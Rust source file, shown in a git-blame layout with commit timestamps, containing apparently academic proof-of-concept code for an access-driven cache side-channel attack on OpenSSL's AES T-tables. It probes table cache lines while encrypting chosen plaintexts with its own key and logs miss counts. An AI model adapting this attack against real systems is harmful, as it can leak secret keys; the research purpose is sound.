2020-10-22 14:38:41 +02:00
//#![feature(specialization)]
2020-09-22 16:49:22 +02:00
#![ deny(unsafe_op_in_unsafe_fn) ]
2020-08-19 14:34:52 +02:00
2020-08-19 10:07:48 +02:00
use openssl ::aes ;
2020-09-22 14:30:08 +02:00
use crate ::CacheStatus ::Miss ;
2020-10-22 14:38:41 +02:00
use cache_side_channel ::table_side_channel ::TableCacheSideChannel ;
2021-02-16 11:33:29 +01:00
use cache_side_channel ::{ restore_affinity , set_affinity , CacheStatus , ChannelHandle } ;
2020-08-19 10:07:48 +02:00
use memmap2 ::Mmap ;
use openssl ::aes ::aes_ige ;
use openssl ::symm ::Mode ;
2020-09-24 17:05:27 +02:00
use rand ::seq ::SliceRandom ;
use rand ::thread_rng ;
2020-08-19 10:07:48 +02:00
use std ::collections ::HashMap ;
use std ::fs ::File ;
use std ::path ::Path ;
2020-08-04 14:33:33 +02:00
// Generic AES T-table attack flow
// Modularisation :
// The module handles loading, then passes the relevant target infos to a attack strategy object for calibration
// Then the module runs the attack, calling the attack strategy to make a measurement and return hit/miss
// interface for attack : run victim (eat a closure)
// interface for measure : give measurement target.
// Can attack strategies return err ?
// Load a vulnerable openssl - determine adresses af the T tables ?
// Run the calibrations
// Then start the attacks
// This is a serialized attack - either single threaded or synchronised
// parameters required
// an attacker measurement
// a calibration victim
2020-08-19 10:07:48 +02:00
// Access Driven
2020-09-22 14:30:08 +02:00
// TODO
2020-08-19 10:07:48 +02:00
pub struct AESTTableParams < ' a > {
pub num_encryptions : u32 ,
pub key : [ u8 ; 32 ] ,
pub openssl_path : & ' a Path ,
pub te : [ isize ; 4 ] ,
}
2020-10-22 14:38:41 +02:00
const KEY_BYTE_TO_ATTACK : usize = 0 ;
2020-09-22 17:09:46 +02:00
/// # Safety
///
/// te need to refer to the correct t tables offset in the openssl library at path.
2021-02-16 11:33:29 +01:00
pub unsafe fn attack_t_tables_poc < T : ChannelHandle > (
side_channel : & mut impl TableCacheSideChannel < T > ,
2020-09-22 16:49:22 +02:00
parameters : AESTTableParams ,
2020-12-08 09:45:24 +01:00
name : & str ,
2020-09-22 16:49:22 +02:00
) {
2021-06-10 11:16:09 +02:00
let old_affinity = set_affinity ( & side_channel . main_core ( ) ) . unwrap ( ) ;
2020-11-20 10:52:58 +01:00
2020-08-19 10:07:48 +02:00
// Note : This function doesn't handle the case where the address space is not shared. (Additionally you have the issue of complicated eviction sets due to complex addressing)
// TODO
// Possible enhancements : use ability to monitor several addresses simultaneously.
let fd = File ::open ( parameters . openssl_path ) . unwrap ( ) ;
let mmap = unsafe { Mmap ::map ( & fd ) . unwrap ( ) } ;
let base = mmap . as_ptr ( ) ;
let te0 = unsafe { base . offset ( parameters . te [ 0 ] ) } ;
if unsafe { ( te0 as * const u64 ) . read ( ) } ! = 0xf87c7c84c66363a5 {
2020-09-29 11:10:12 +02:00
panic! ( " Hmm This does not look like a T-table, check your address and the openssl used \n Use `nm libcrypto.so.1.0.0 | \" grep Te[0-4] \" ` " )
2020-08-19 10:07:48 +02:00
}
let key_struct = aes ::AesKey ::new_encrypt ( & parameters . key ) . unwrap ( ) ;
let mut timings : HashMap < * const u8 , HashMap < u8 , u32 > > = HashMap ::new ( ) ;
2020-09-24 17:05:27 +02:00
let mut addresses : Vec < * const u8 > = parameters
2020-08-19 10:07:48 +02:00
. te
. iter ( )
. map ( | & start | ( ( start ) .. ( start + 64 * 16 ) ) . step_by ( 64 ) )
. flatten ( )
2020-09-24 17:05:27 +02:00
. map ( | offset | unsafe { base . offset ( offset ) } )
. collect ( ) ;
addresses . shuffle ( & mut thread_rng ( ) ) ;
2020-08-19 10:07:48 +02:00
2021-07-21 10:20:13 +02:00
let mut victims_handle = unsafe { side_channel . tcalibrate ( addresses . clone ( ) ) . unwrap ( ) } ;
2020-08-19 14:34:52 +02:00
2020-09-24 17:05:27 +02:00
for addr in addresses . iter ( ) {
2020-08-19 15:09:29 +02:00
let mut timing = HashMap ::new ( ) ;
2021-10-13 14:08:57 +02:00
for b in ( u8 ::MIN ..= u8 ::MAX ) . step_by ( 16 ) {
2020-08-19 15:09:29 +02:00
timing . insert ( b , 0 ) ;
}
2020-09-24 17:05:27 +02:00
timings . insert ( * addr , timing ) ;
2020-08-19 10:07:48 +02:00
}
2021-02-16 11:33:29 +01:00
let mut victim_handles_ref = victims_handle . iter_mut ( ) . collect ( ) ;
2021-10-13 14:08:57 +02:00
for b in ( u8 ::MIN ..= u8 ::MAX ) . step_by ( 16 ) {
2020-08-19 10:07:48 +02:00
eprintln! ( " Probing with b = {:x} " , b ) ;
// fixme magic numbers
let victim = | | {
let mut plaintext = [ 0 u8 ; 16 ] ;
2020-10-22 14:38:41 +02:00
plaintext [ KEY_BYTE_TO_ATTACK ] = b ;
2020-09-22 16:49:22 +02:00
for byte in plaintext . iter_mut ( ) . skip ( 1 ) {
* byte = rand ::random ( ) ;
2020-08-19 10:07:48 +02:00
}
let mut iv = [ 0 u8 ; 32 ] ;
let mut result = [ 0 u8 ; 16 ] ;
aes_ige ( & plaintext , & mut result , & key_struct , & mut iv , Mode ::Encrypt ) ;
} ;
2020-09-22 14:30:08 +02:00
2021-02-16 11:33:29 +01:00
let r = unsafe {
side_channel . attack ( & mut victim_handles_ref , & victim , parameters . num_encryptions )
} ;
2020-09-23 17:49:10 +02:00
match r {
Ok ( v ) = > {
for table_attack_result in v {
* timings
. get_mut ( & table_attack_result . addr )
. unwrap ( )
. entry ( b )
. or_insert ( 0 ) + = table_attack_result . get ( Miss ) ;
2020-08-19 10:07:48 +02:00
}
}
2020-09-23 17:49:10 +02:00
Err ( _ ) = > panic! ( " Attack failed " ) ,
2020-08-19 10:07:48 +02:00
}
}
2020-09-24 17:05:27 +02:00
addresses . sort ( ) ;
2020-12-08 09:45:24 +01:00
for probe in addresses . iter ( ) {
2020-08-19 10:07:48 +02:00
print! ( " {:p} " , probe ) ;
for b in ( u8 ::min_value ( ) ..= u8 ::max_value ( ) ) . step_by ( 16 ) {
2020-12-08 09:45:24 +01:00
print! ( " {:4} " , timings [ probe ] [ & b ] ) ;
2020-08-19 10:07:48 +02:00
}
println! ( ) ;
}
2020-11-20 10:52:58 +01:00
2020-12-08 09:45:24 +01:00
for probe in addresses {
for b in ( u8 ::min_value ( ) ..= u8 ::max_value ( ) ) . step_by ( 16 ) {
println! ( " CSV: {} , {:p} , {} , {} " , name , probe , b , timings [ & probe ] [ & b ] ) ;
}
}
2020-11-20 10:52:58 +01:00
restore_affinity ( & old_affinity ) ;
2020-08-19 10:07:48 +02:00
}